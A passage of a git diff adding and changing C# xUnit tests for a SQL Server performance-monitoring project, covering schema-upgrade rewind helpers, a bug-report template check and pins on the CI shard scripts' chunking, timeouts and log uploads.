+    public void AFailedSettingsRead_SkipsThePolicyCall_OnTheHourlyPass()
+    {
+        var text = Storage();
+        var start = text.IndexOf("public static async Task<int> ApplyCompressionPolicyAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var skip = text.IndexOf("if (skipEnable)\n                {\n                    continue;", start, StringComparison.Ordinal);
+        var policy = text.IndexOf("new NpgsqlCommand(AddCompressionPolicySql(schema)", start, StringComparison.Ordinal);
+        Assert.True(skip > start && policy > skip,
+            "the per-table policy call must be skipped when the settings read failed on the hourly pass");
+    }
+}
diff --git a/Darling/Darling.Tests/BugReportTemplateDiagnosticsBundleTests.cs b/Darling/Darling.Tests/BugReportTemplateDiagnosticsBundleTests.cs
new file mode 100644
index 0000000000..6bf39c420b
--- /dev/null
+++ b/Darling/Darling.Tests/BugReportTemplateDiagnosticsBundleTests.cs
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the bug-report template asks for the bundle, with the verb spelled as the product spells it.</summary>
+public sealed class BugReportTemplateDiagnosticsBundleTests
+{
+    private static string Template() =>
+        RepoFile.ReadRepoFile(".github", "ISSUE_TEMPLATE", "bug_report.yml").ReplaceLineEndings("\n");
+
+    [Fact]
+    public void Template_HasTheBundleField_WithTheVerbFromThePredicate()
+    {
+        var yml = Template();
+        Assert.Contains("id: diagnostics-bundle", yml, StringComparison.Ordinal);
+        Assert.Contains(DarlingCliCommands.DiagnosticsBundleVerbName + " darling-bundle.json", yml, StringComparison.Ordinal);
+        Assert.True(DarlingCliCommands.IsDiagnosticsBundleVerb(DarlingCliCommands.DiagnosticsBundleVerbName));
+        Assert.Contains("Open it and check it before you attach it", yml, StringComparison.Ordinal);
+        var field = yml[yml.IndexOf("id: diagnostics-bundle", StringComparison.Ordinal)..];
+        field = field[..field.IndexOf("id: screenshots", StringComparison.Ordinal)];
+        Assert.Contains("required: false", field, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ErrorsField_NamesTheDarlingLogPath()
+    {
+        var yml = Template();
+        var errors = yml[yml.IndexOf("id: errors", StringComparison.Ordinal)..];
+        errors = errors[..errors.IndexOf("id: diagnostics-bundle", StringComparison.Ordinal)];
+        Assert.Contains(@"%ProgramData%\PerformanceMonitorDarling\logs\", errors, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs b/Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs
index a3ce628c56..b531ed981b 100644
--- a/Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs
+++ b/Darling/Darling.Tests/BuiltinAlertPersistenceRungTests.cs
@@ -29,6 +29,7 @@ namespace Darling.Tests;
 /// claims, and they are stated against this rung's own NUMBER — read out of the ladder rather than taken
 /// from <see cref="StorageVersion.SchemaVersion"/>, which is no longer it.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class BuiltinAlertPersistenceRungTests
 {
     /// <summary>This rung's number, DERIVED from the ladder entry that owns the name rather than written as
diff --git a/Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs b/Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs
index edf5582513..7d8732417a 100644
--- a/Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs
+++ b/Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs
@@ -318,6 +318,86 @@ the group index still present — the same fixture shape CaggGroupIndexDropUpgra
     /// A future rung that adds a new probe sentinel must add its artifact's removal here.</summary>
     private static async Task DropArtifactsOfLaterRungsAsync(NpgsqlConnection connection, int simulatedVersion, CancellationToken ct)
     {
+        if (simulatedVersion < QueryStoreComposeStamp.RungVersion)
+        {
+            /* V173 (#5582) - the stamp-grain rollup of the wide Query Store table, its validity tables and the two late-row triggers on the
+               wide parent; the hours table is the probe's sentinel. The triggers go first: the V171 rewind below renames the table they sit on. */
+            await using var dropStamp = new NpgsqlCommand(
+                "DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_ins ON collect.query_store_interval_wide;"
+                + " DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_upd ON collect.query_store_interval_wide;"
+                + " DROP TABLE IF EXISTS collect.query_store_compose_stamp_hours, collect.query_store_compose_stamp_built, collect.query_store_compose_stamp;"
+                + " DROP FUNCTION IF EXISTS collect.query_store_compose_stamp_mark_late();", connection);
+            await dropStamp.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < QueryStoreIntervalPartitionRungTests.LatestRungVersion)
+        {
+            /* V172 (#5571) - the latest Query Store interval table is partitioned; its relkind is the probe's sentinel. */
+            await QueryStoreIntervalPartitionRungTests.RewindTableAsync(connection, "query_store_interval_latest", ct);
+        }
+
+        if (simulatedVersion < QueryStoreIntervalPartitionRungTests.WideRungVersion)
+        {
+            /* V171 (#5571) - the same for the wide table. */
+            await QueryStoreIntervalPartitionRungTests.RewindTableAsync(connection, "query_store_interval_wide", ct);
+        }
+
+        if (simulatedVersion < PgIoStatsHourly.RungVersion)
+        {
+            /* V170 (#5495) - the hourly rollup of pg_io_stats and its state table; the state table is the probe's sentinel. */
+            await using var dropIoHourly = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS collect.pg_io_stats_hourly_state, collect.pg_io_stats_hourly", connection);
+            await dropIoHourly.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < 169)
+        {
+            /* V169 (#5452) - the per-server AWS role on config_monitored_servers; the role column is the probe's sentinel.
+               Dropping the columns drops the table's check on them too. */
+            await using var dropAwsRole = new NpgsqlCommand(
+                "ALTER TABLE config.config_monitored_servers DROP COLUMN IF EXISTS aws_external_id_set, "
+                + "DROP COLUMN IF EXISTS aws_external_id, DROP COLUMN IF EXISTS aws_role_arn", connection);
+            await dropAwsRole.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < 168)
+        {
+            /* V168 (#5448) - the PLAN_REGRESSION per-day totals; the built table is the probe's sentinel. The trigger on
+               query_store_interval_latest goes first, then the function it calls, then the two tables. */
+            await using var dropPlanRegressionDaily = new NpgsqlCommand(
+                "DROP TRIGGER IF EXISTS trg_plan_regression_daily_late ON collect.query_store_interval_latest;"
+                + " DROP FUNCTION IF EXISTS collect.plan_regression_daily_mark_late();"
+                + " DROP TABLE IF EXISTS collect.plan_regression_daily, collect.plan_regression_daily_built", connection);
+            await dropPlanRegressionDaily.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < LegacyPinCandidateTables.RungVersion)
+        {
+            /* V167 (#5456) - the table that records the old-format values present at the upgrade;
+               config.legacy_secret_pin_candidate is the probe's sentinel. It goes before the V165 arm below, because its
+               triggers use the function that arm drops. */
+            await using var dropCandidates = new NpgsqlCommand("DROP TABLE IF EXISTS config.legacy_secret_pin_candidate", connection);
+            await dropCandidates.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < 166)
+        {
+            /* V166 - the PagerDuty auto-resolve column on config_notification; the column is the probe's sentinel. */
+            await using var dropAutoResolve = new NpgsqlCommand(
+                "ALTER TABLE config.config_notification DROP COLUMN IF EXISTS pagerduty_auto_resolve", connection);
+            await dropAutoResolve.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < PasswordKeyTables.RungVersion)
+        {
+            /* V165 (#5366) - the tables for the service's password key; config.password_key is the probe's sentinel.
+               The four tables go first, which also drops their triggers, and then the trigger function they shared. */
+            await using var dropPasswordKey = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS config.password_key, config.password_key_service, config.legacy_secret_pin, config.legacy_secret_pin_marker;"
+                + " DROP FUNCTION IF EXISTS config.password_key_owner_only()", connection);
+            await dropPasswordKey.ExecuteNonQueryAsync(ct);
+        }
+
         if (simulatedVersion < 153)
         {
             /* V153 (#4608, split #4615) — the interval-tables-latest first_execution_time index. */
@@ -343,6 +423,64 @@ private static async Task DropArtifactsOfLaterRungsAsync(NpgsqlConnection connec
             await dropEnd.ExecuteNonQueryAsync(ct);
         }
 
+        if (simulatedVersion < QueryStatsHourLedgerTests.RungVersion)
+        {
+            /* V164 (#4605) - the hourly row-count ledger; the ledger table is the probe's sentinel. */
+            await using var dropLedger = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS collect.query_stats_hour_ledger_state, collect.query_stats_hour_ledger", connection);
+            await dropLedger.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < StoreStatementHistoryRungTests.RungVersion)
+        {
+            /* V163 (#5097) - the store's statement history; the history table is the probe's sentinel. */
+            await using var dropStatementHistory = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS collect.store_statement_history, collect.store_statement_captures, config.store_statement_baseline", connection);
+            await dropStatementHistory.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < SlowReadsRungTests.RungVersion)
+        {
+            /* V162 (#5097) - the slow-read record; the table is the probe's sentinel. */
+            await using var dropSlowReads = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS collect.slow_reads", connection);
+            await dropSlowReads.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < QueryStoreTopDailyRungTests.RungVersion)
+        {
+            /* V161 (#5094) - the Query Store top daily summary tables; the first is the probe's sentinel. */
+            await using var dropTopDaily = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS collect.query_store_top_daily, collect.query_store_top_daily_built", connection);
+            await dropTopDaily.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < CollectorRunTimeRungTests.RungVersion)
+        {
+            /* V160 (#4938) - the collector run time, in a table of its own; the table is the probe's sentinel. */
+            await using var dropRunAt = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS config.config_collector_run_times", connection);
+            await dropRunAt.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < InstallIdTableOidRungTests.RungVersion)
+        {
+            /* V159 (#4961) - the install id table's own OID and the server's major version, which arrive in the one
+               statement; the OID's column is the probe's sentinel. IF EXISTS on the table, because a store simulated below
+               the install id's own rung has had the table dropped already. */
+            await using var dropTableOid = new NpgsqlCommand(
+                "ALTER TABLE IF EXISTS config.config_install_id DROP COLUMN IF EXISTS table_oid, DROP COLUMN IF EXISTS server_major", connection);
+            await dropTableOid.ExecuteNonQueryAsync(ct);
+        }
+
+        if (simulatedVersion < InstallIdRungTests.RungVersion)
+        {
+            /* V158 (#4961) - the install id's one-row table; the table is the probe's sentinel. */
+            await using var dropInstallId = new NpgsqlCommand(
+                "DROP TABLE IF EXISTS config.config_install_id", connection);
+            await dropInstallId.ExecuteNonQueryAsync(ct);
+        }
+
         if (simulatedVersion < MuteRuleServerIdRungTests.RungVersion)
         {
             /* V157 - the mute rule's store server id; the column is the probe's sentinel. */
diff --git a/Darling/Darling.Tests/CapabilityPins/viewerservertab-eventwires.baseline.txt b/Darling/Darling.Tests/CapabilityPins/viewerservertab-eventwires.baseline.txt
index 5df7eba883..666e6ac573 100644
--- a/Darling/Darling.Tests/CapabilityPins/viewerservertab-eventwires.baseline.txt
+++ b/Darling/Darling.Tests/CapabilityPins/viewerservertab-eventwires.baseline.txt
@@ -8,7 +8,6 @@ MouseDoubleClick=>QueryStoreRegressionsGrid_MouseDoubleClick
 SelectionChanged=>AutoRefreshInterval_Changed
 SelectionChanged=>BlockingSubTabs_SelectionChanged
 SelectionChanged=>CompareToCombo_SelectionChanged
-SelectionChanged=>CustomTimeCombo_Changed
 SelectionChanged=>FileIoSubTabs_SelectionChanged
 SelectionChanged=>HeatmapMetric_SelectionChanged
 SelectionChanged=>InnerTabs_SelectionChanged
@@ -19,5 +18,4 @@ SelectionChanged=>QueryStatsGrid_SelectionChanged
 SelectionChanged=>QueryStoreGrid_SelectionChanged
 SelectionChanged=>SystemEventsSubTabs_SelectionChanged
 SelectionChanged=>TimeDisplayMode_SelectionChanged
-SelectionChanged=>TimeRangeCombo_SelectionChanged
 SelectionChanged=>WaitStatsMetric_SelectionChanged
diff --git a/Darling/Darling.Tests/CaptureDownChunkOrderTests.cs b/Darling/Darling.Tests/CaptureDownChunkOrderTests.cs
index e9ff606b5f..ce5e3e5088 100644
--- a/Darling/Darling.Tests/CaptureDownChunkOrderTests.cs
+++ b/Darling/Darling.Tests/CaptureDownChunkOrderTests.cs
@@ -126,7 +126,8 @@ outside the collector catalog and so outside ConvertToHypertablesAsync. */
             /* Eight days of one-minute blocked_process_report and five-minute deadlocks rows, plus a filler
                collector so the newest chunk holds rows the arms must skip past. All Kind-Unspecified: naive-UTC
                storage, see DarlingObservability.LogCollectionAsync. */
-            var utcNow = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            /* #5608: the end of the window is a fixed point inside one chunk, so the chunk layout the plan is read against is the same at any hour. */
+            var utcNow = LiveClock.AnchoredEnd();
             await SeedHistoryAsync(connection, utcNow, ct);
 
             /* The two verdict rows. deadlocks: SESSION_MISSING three days ago, then a SUCCESS a minute ago — NOT
diff --git a/Darling/Darling.Tests/ChartIntegerTicksPinTests.cs b/Darling/Darling.Tests/ChartIntegerTicksPinTests.cs
index cbf59ac543..bd486d2892 100644
--- a/Darling/Darling.Tests/ChartIntegerTicksPinTests.cs
+++ b/Darling/Darling.Tests/ChartIntegerTicksPinTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// a 0-1 axis gives ticks 0 and 1, 0-2 gives 0, 1, 2, and for every maximum from 1 to 5000 the ticks are whole,
 /// distinct and cover the maximum.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ChartIntegerTicksPinTests
 {
     private static string Js(params string[] path) => ReadRepoFileLf(Path.Combine(
diff --git a/Darling/Darling.Tests/CiShardCommandLineBudgetTests.cs b/Darling/Darling.Tests/CiShardCommandLineBudgetTests.cs
new file mode 100644
index 0000000000..d51bc5809b
--- /dev/null
+++ b/Darling/Darling.Tests/CiShardCommandLineBudgetTests.cs
@@ -0,0 +1,131 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5100: the sharded test steps in <c>build.yml</c> pass every class of the shard as a <c>-class</c>
+/// argument. Windows CreateProcess caps the whole command line at 32,767 characters, and one Darling
+/// shard's arguments alone reached ~32,660. Each step therefore splits its class list into chunks under a
+/// named character budget and runs the test host once per chunk. These are source pins, because the step only
+/// runs on a Windows runner. #5616: that logic is one PowerShell script per suite
+/// (<c>.github/scripts/run-darling-pg-shard.ps1</c>, <c>run-lite-shard.ps1</c>) that build.yml's PR legs and
+/// nightly.yml's legs both call, so the pins read the scripts; the workflow steps only pass arguments.
+/// </summary>
+public sealed class CiShardCommandLineBudgetTests
+{
+    /// <summary>The CreateProcess limit minus the ~170 characters the rest of the command takes, rounded down.</summary>
+    private const int MaxBudget = 30000;
+
+    [Theory]
+    [InlineData("Run Darling PG tests")]
+    [InlineData("Run Lite tests (shard)")]
+    public void ShardStep_RunsTheTestHostOncePerChunk_UnderTheBudget(string stepName)
+    {
+        var step = ReadStep(stepName);
+
+        var budget = Regex.Match(step, @"\$argBudget\s*=\s*(?<n>\d+)");
+        Assert.True(budget.Success, $"'{stepName}' names no $argBudget, so its -class list is not chunked.");
+        Assert.True(int.Parse(budget.Groups["n"].Value) <= MaxBudget,
+            $"'{stepName}' budget {budget.Groups["n"].Value} leaves less than 2,767 characters under the 32,767 limit.");
+
+        Assert.Matches(@"(?s)foreach\s*\(\$chunk\s+in\s+\$chunks\)\s*\{.*dotnet\s+run\s+--project\s+\S+.*@chunkArgs", step);
+        Assert.Matches(@"-gt\s+\$argBudget", step);
+    }
+
+    [Theory]
+    [InlineData("Run Darling PG tests")]
+    [InlineData("Run Lite tests (shard)")]
+    public void ShardStep_NeverPassesTheWholeShardListInOneInvocation(string stepName)
+    {
+        var step = ReadStep(stepName);
+
+        foreach (Match run in Regex.Matches(step, @"dotnet\s+run\s+[^\r\n]*"))
+        {
+            if (run.Value.Contains("-list classes/json", StringComparison.Ordinal))
+            {
+                continue;
+            }
+            Assert.DoesNotContain("$mine", run.Value);
+            Assert.DoesNotContain("@shardArgs", run.Value);
+            Assert.Contains("@chunkArgs", run.Value);
+        }
+        Assert.DoesNotContain("@shardArgs", step);
+    }
+
+    [Fact]
+    public void ShardSteps_RunEveryChunk_AndFailTheStepWhenAnyChunkFailed()
+    {
+        foreach (var stepName in new[] { "Run Darling PG tests", "Run Lite tests (shard)" })
+        {
+            var step = ReadStep(stepName);
+            Assert.Matches(@"\$LASTEXITCODE\s+-ne\s+0\)\s*\{\s*\$failedChunks\+\+", step);
+            Assert.Matches(@"\$failedChunks\s+-gt\s+0\)[^\r\n]*exit\s+1", step);
+        }
+    }
+
+    [Fact]
+    public void DarlingStep_GivesEachChunkItsOwnTrx()
+    {
+        var step = ReadStep("Run Darling PG tests");
+        Assert.Contains("TestResults/$ResultPrefix-${Shard}-$chunkNumber.trx", step);
+
+        // ...and each caller names its own prefix, so the PR legs and the nightly's legs never write the same file.
+        Assert.Contains("-ResultPrefix darling-pr ", ReadWorkflowStep("build.yml", "Run Darling PG tests"));
+        Assert.Contains("-ResultPrefix darling-nightly ", ReadWorkflowStep("nightly.yml", "Run Darling PG tests"));
+    }
+
+    [Fact]
+    public void ShardSteps_ChunkingBlockIsIdentical_AndNativeErrorPreferenceIsOff()
+    {
+        var darling = ReadStep("Run Darling PG tests");
+        var lite = ReadStep("Run Lite tests (shard)");
+        Assert.Equal(ChunkBlock(darling), ChunkBlock(lite), StringComparer.Ordinal);
+
+        foreach (var step in new[] { darling, lite })
+        {
+            var pref = step.IndexOf("$PSNativeCommandUseErrorActionPreference = $false", StringComparison.Ordinal);
+            var loop = step.IndexOf("foreach ($chunk in $chunks)", StringComparison.Ordinal);
+            Assert.True(pref >= 0 && pref < loop, "the step must turn the native-command error preference off before the chunk loop.");
+        }
+    }
+
+    private static string ChunkBlock(string step)
+    {
+        var start = step.IndexOf("$argBudget =", StringComparison.Ordinal);
+        const string endMarker = "if ($current.Count -gt 0) { $chunks.Add($current.ToArray()) }";
+        var end = step.IndexOf(endMarker, StringComparison.Ordinal);
+        Assert.True(start >= 0 && end > start, "the step has no chunking block.");
+        return step.Substring(start, end + endMarker.Length - start).Replace("\r\n", "\n");
+    }
+
+    /// <summary>The shard script the named step calls (#5616), linked into Fixtures by Darling.Tests.csproj.</summary>
+    private static string ReadStep(string stepName)
+    {
+        var file = stepName == "Run Darling PG tests" ? "run-darling-pg-shard.ps1" : "run-lite-shard.ps1";
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", file);
+        Assert.True(File.Exists(path), $"{file} was not copied beside the test binary (Darling.Tests.csproj links it into Fixtures\\).");
+        return File.ReadAllText(path).Replace("\r\n", "\n");
+    }
+
+    private static string ReadWorkflowStep(string workflow, string stepName)
+    {
+        var path = Path.Combine(AppContext.BaseDirectory, "Fixtures", workflow);
+        Assert.True(File.Exists(path), $"{workflow} was not copied beside the test binary (Darling.Tests.csproj links it into Fixtures\\).");
+        var text = File.ReadAllText(path);
+        var start = text.IndexOf("- name: " + stepName, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"{workflow} has no step named '{stepName}'.");
+        var next = Regex.Match(text[(start + 1)..], @"\r?\n      - name: |\r?\n  [a-z][\w-]*:\r?\n");
+        return next.Success ? text.Substring(start, next.Index + 1) : text[start..];
+    }
+}
diff --git a/Darling/Darling.Tests/CiShardHangReportTests.cs b/Darling/Darling.Tests/CiShardHangReportTests.cs
new file mode 100644
index 0000000000..5da346b654
--- /dev/null
+++ b/Darling/Darling.Tests/CiShardHangReportTests.cs
@@ -0,0 +1,225 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5587: run 37824250187 attempt 1, Darling PG shard 3, ran to the JOB's 30-minute timeout. GitHub cancelled the
+/// job, left every later step (the stop, both uploads) pending, kept no log, and the per-test timing was never
+/// written, so nothing said which test was running or what it waited on. The shard test steps now carry a
+/// step-level timeout (the step fails, the job goes on, and the <c>always()</c> steps run), the runner's
+/// <c>-longRunning</c> report (a test that has run for 5 minutes is named in the log while the step is alive) and a
+/// kept copy of the runner output. These are source pins on the workflow text, because the steps only run on a
+/// Windows runner.
+/// </summary>
+public sealed class CiShardHangReportTests
+{
+    /// <summary>Under the job's 30 minutes with room for the setup before the step and the stop and uploads after it.</summary>
+    private const int MaxStepTimeoutMinutes = 25;
+
+    /// <summary>The slowest normal Darling test measured 120 s (the store-upgrade classes), so a report below it is noise.</summary>
+    private const int MinLongRunningSeconds = 150;
+
+    /// <summary>Well under the step timeout, or the report would arrive after the step was killed.</summary>
+    private const int MaxLongRunningSeconds = 600;
+
+    [Theory]
+    [InlineData("Run Darling PG tests")]
+    [InlineData("Run Lite tests (shard)")]
+    public void ShardStep_HasAStepTimeout_UnderTheJobTimeout(string stepName)
+    {
+        var step = ReadStep(stepName);
+
+        var timeout = Regex.Match(step, @"(?m)^        timeout-minutes:\s*(?<n>\d+)\s*$");
+        Assert.True(timeout.Success,
+            $"'{stepName}' has no step-level timeout-minutes. The job's own timeout cancels the job and leaves the upload steps pending (#5587).");
+        var minutes = int.Parse(timeout.Groups["n"].Value);
+        Assert.InRange(minutes, 10, MaxStepTimeoutMinutes);
+    }
+
+    [Theory]
+    [InlineData("Run Darling PG tests")]
+    [InlineData("Run Lite tests (shard)")]
+    public void ShardStep_AsksTheRunnerToNameALongRunningTest_AndKeepsTheRunnerOutput(string stepName)
+    {
+        // #5616: the chunk loop lives in the shard script both workflows call, so the runner's flags are read from it.
+        var step = ReadShardScript(stepName);
+
+        var longRunning = Regex.Match(step, @"dotnet\s+run\s+[^\r\n]*@chunkArgs[^\r\n]*\s-longRunning\s+(?<n>\d+)\b");
+        Assert.True(longRunning.Success, $"'{stepName}' does not pass -longRunning to the chunk's runner, so a hung test is not named.");
+        Assert.InRange(int.Parse(longRunning.Groups["n"].Value), MinLongRunningSeconds, MaxLongRunningSeconds);
+
+        Assert.Matches(@"dotnet\s+run\s+[^\r\n]*@chunkArgs[^\r\n]*\|\s*Tee-Object\s+-FilePath\s+TestResults/(darling|lite)-runner-\$\{Shard\}\.log\s+-Append", step);
+        Assert.Matches(@"New-Item\s+-ItemType\s+Directory\s+-Force\s+-Path\s+TestResults", step);
+    }
+
+    [Fact]
+    public void DarlingUploads_RunWhateverTheTestStepDid()
+    {
+        var timings = ReadStep("Upload Darling test timings");
+        Assert.Matches(@"(?m)^        if:\s*always\(\)", timings);
+
+        var runner = ReadStep("Upload Darling runner output");
+        Assert.Matches(@"(?m)^        if:\s*always\(\)", runner);
+        Assert.Contains("TestResults/darling-runner-*.log", runner, StringComparison.Ordinal);
+        Assert.Contains("darling-runner-log-${{ matrix.shard }}", runner, StringComparison.Ordinal);
+        Assert.Matches(@"(?m)^        timeout-minutes:\s*\d+", runner);
+
+        var failure = ReadStep("Upload PG log and test results on failure");
+        Assert.Matches(@"(?m)^        if:\s*\(failure\(\) \|\| cancelled\(\)\)", failure);
+    }
+
+    [Fact]
+    public void LiteUploads_RunWhateverTheTestStepDid()
+    {
+        var timings = ReadStep("Upload Lite test timings");
+        Assert.Matches(@"(?m)^        if:\s*always\(\)", timings);
+
+        var runner = ReadStep("Upload Lite runner output");
+        Assert.Matches(@"(?m)^        if:\s*always\(\)", runner);
+        Assert.Contains("TestResults/lite-runner-*.log", runner, StringComparison.Ordinal);
+        Assert.Contains("lite-runner-log-${{ matrix.shard }}", runner, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5587, #5616, nightly.yml: the nightly's shard steps call the same scripts as build.yml's, so the hang report
+    /// (<c>-longRunning</c> and the teed runner log) is the script's, and the step must pass the script's shard
+    /// arguments and no event: the nightly runs every class, so it must not pass <c>-EventName</c>.
+    /// </summary>
+    [Theory]
+    [InlineData("Run Lite tests (shard)", "run-lite-shard.ps1")]
+    [InlineData("Run Darling PG tests", "run-darling-pg-shard.ps1")]
+    public void NightlyStep_CallsTheSharedShardScript_WithItsShardAndNoEvent(string stepName, string script)
+    {
+        var step = ReadStep(stepName, "nightly.yml");
+
+        Assert.Matches(@"(?m)^        shell:\s*pwsh\s*$", step);
+        Assert.Contains("./.github/scripts/" + script + " -Shard ${{ matrix.shard }} -ShardCount ${{ strategy.job-total }}", step, StringComparison.Ordinal);
+        Assert.DoesNotContain("-EventName", step, StringComparison.Ordinal);
+        Assert.DoesNotContain("-GuardBuildUsed", step, StringComparison.Ordinal);
+        Assert.DoesNotContain("-TimingRun", step, StringComparison.Ordinal);
+        Assert.DoesNotContain("dotnet run", step, StringComparison.Ordinal);
+
+        // The hang report and the exit-code propagation live once, in the script: the runner is asked for -longRunning
+        // and its output is teed, and a failing chunk fails the script (and so the step).
+        var body = ReadShardScript(stepName);
+        var longRunning = Regex.Match(body, @"dotnet\s+run\s+[^\r\n]*@chunkArgs[^\r\n]*\s-longRunning\s+(?<n>\d+)\b");
+        Assert.True(longRunning.Success, $"{script} does not pass -longRunning to the chunk's runner, so a hung test is not named.");
+        Assert.InRange(int.Parse(longRunning.Groups["n"].Value), MinLongRunningSeconds, MaxLongRunningSeconds);
+        Assert.Matches(@"\$failedChunks\s+-gt\s+0\)[^\r\n]*exit\s+1", body);
+    }
+
+    /// <summary>
+    /// #5587, #5616, nightly.yml: step timeouts from numbers. Lite: build.yml's four legs ran the step for 5.6 to 19.9
+    /// minutes over the last 7 successful dev pushes; the nightly's hash cut is less even, so the step gets twice that
+    /// (40) in a job of 50, and 19.9 is 50% of it, under the 70% bar. Darling: build.yml's six legs ran 5.5 to 10.9
+    /// minutes, the step gets build.yml's 22 in a job of 40, and 10.9 is 50% of it.
+    /// </summary>
+    [Fact]
+    public void NightlyStepTimeouts_FollowTheMeasuredNumbers()
+    {
+        var yml = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "nightly.yml")).Replace("\r\n", "\n");
+        foreach (var (job, stepName, maxJob) in new[] { ("lite-tests", "Run Lite tests (shard)", 50), ("darling-pg", "Run Darling PG tests", 40) })
+        {
+            var step = ReadStep(stepName, "nightly.yml");
+            var timeout = Regex.Match(step, @"(?m)^        timeout-minutes:\s*(?<n>\d+)\s*$");
+            Assert.True(timeout.Success, $"nightly.yml '{stepName}' has no step-level timeout-minutes.");
+
+            var jobStart = yml.IndexOf("\n  " + job + ":\n", StringComparison.Ordinal);
+            Assert.True(jobStart >= 0, $"nightly.yml has no job '{job}'.");
+            var jobTimeout = Regex.Match(yml[jobStart..], @"(?m)^    timeout-minutes:\s*(?<n>\d+)\s*$");
+            Assert.True(jobTimeout.Success && int.Parse(jobTimeout.Groups["n"].Value) == maxJob,
+                $"nightly.yml job '{job}' timeout is not {maxJob}.");
+            Assert.InRange(int.Parse(timeout.Groups["n"].Value), 20, maxJob - 10);
+        }
+    }
+
+    [Fact]
+    public void NightlyUploads_RunWhateverTheTestStepDid()
+    {
+        var lite = ReadStep("Upload Lite runner output", "nightly.yml");
+        Assert.Matches(@"(?m)^        if:\s*always\(\)", lite);
+        Assert.Contains("TestResults/lite-runner-*.log", lite, StringComparison.Ordinal);
+        Assert.Contains("lite-runner-log-nightly-${{ matrix.shard }}", lite, StringComparison.Ordinal);
+        Assert.Matches(@"(?m)^        timeout-minutes:\s*\d+", lite);
+
+        var darling = ReadStep("Upload Darling runner output", "nightly.yml");
+        Assert.Matches(@"(?m)^        if:\s*always\(\)", darling);
+        Assert.Contains("TestResults/darling-runner-*.log", darling, StringComparison.Ordinal);
+        Assert.Contains("darling-runner-log-nightly-${{ matrix.shard }}", darling, StringComparison.Ordinal);
+        Assert.Matches(@"(?m)^        timeout-minutes:\s*\d+", darling);
+
+        var failure = ReadStep("Upload PG log and test results on failure", "nightly.yml");
+        Assert.Matches(@"(?m)^        if:\s*failure\(\) \|\| cancelled\(\)", failure);
+
+        Assert.DoesNotContain("-runner-", ReadStep("Upload Lite test timings", "nightly.yml"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void RunnerLogs_AreTheirOwnArtifacts_NotPartOfTheTimingArtifacts()
+    {
+        // The shadow check and the Lite shard packer read every file of the *-tests-timing-* artifacts.
+        foreach (var name in new[] { "Upload Darling test timings", "Upload Lite test timings" })
+        {
+            Assert.DoesNotContain("-runner-", ReadStep(name), StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// #5587: the shard-3 classes were read for a wait with no end. The one found is the cancelled refresh in
+    /// <c>RollupBackfillLiveTests</c>: it waited on a task whose only way out was a cancel to a backend that was blocked
+    /// on a lock the test itself still held, and the refresh's own command timeout is an hour. The wait is bounded now.
+    /// </summary>
+    [Fact]
+    public void RollupBackfillLiveTests_TheCancelledRefreshWait_IsBoundedWhileTheChunkLockIsHeld()
+    {
+        var source = ReadSiblingSource("RollupBackfillLiveTests.cs");
+
+        Assert.Contains("refresh.WaitAsync(CancelledRefreshLimit", source, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(source, @"_ = await refresh;"));
